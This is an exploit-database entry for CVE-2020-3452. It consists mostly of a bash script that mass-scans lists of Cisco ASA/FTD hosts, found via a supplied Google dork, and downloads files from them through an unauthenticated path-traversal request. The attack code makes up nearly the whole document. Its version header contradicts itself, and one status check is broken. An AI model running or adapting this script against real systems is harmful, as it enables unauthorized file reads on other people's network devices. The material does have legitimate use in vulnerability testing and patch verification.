Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion

# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
# Version: Cisco ASA Software  >=9.14 except 9.11   Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file read
# CVE: CVE-2020-3452


#!/bin/bash


read="%2bCSCOE%2b/portal_inc.lua"


helpFunction()
{
   echo ""
   echo -e "\t\tCVE-2020-3452"
   echo ""
   echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
   echo -e "\t-l for list of IPs in text file"
   echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
   echo -e "\t-i for single IP test"
   exit 1
}

while getopts "l:r:i:" opt
do
   case "$opt" in
      l ) input="$OPTARG" ;;
      r ) read="$OPTARG" ;;
      i ) website="$OPTARG" ;;
      ? ) helpFunction ;;
   esac
done



#if $website is empty or $input is empty
if [  -z "$website"  ] && [ -z "$input" ]
then
   echo "Some/all of the parameters are empty";
   helpFunction
fi

#usage


if [ -z "$website"];
  then
  while IFS= read -r line
  do
    name=$(echo $line | cut -c9-19)
    #echo "testing $line"
    filename="$name.txt"
      #echo $response
      status=$(curl -LI  $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)

      if [ $status -eq "400" ]; then
        echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
      else
        wget  "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt

        if [ -s $filename ]; then
          echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
            echo "downloaded!, $line is vulnerable to CVE-2020-3452."

        else
          echo "not vulnerable!"
          rm -rf $filename
        fi
      fi
    done < "$input"
  else

  name=$(echo $website | cut -c9-16)
  filename="$name.txt"

  status=$(curl -LI  $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)
  if [ $status -eq "Bad Request" ]; then
    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
  else

    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
    wget  "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
    if [ -s $filename ]; then
      echo "downloaded!, $website is vulnerable to CVE-2020-3452."
    else
      echo "not vulnerable!"
      rm -rf $filename
    fi
  fi

fi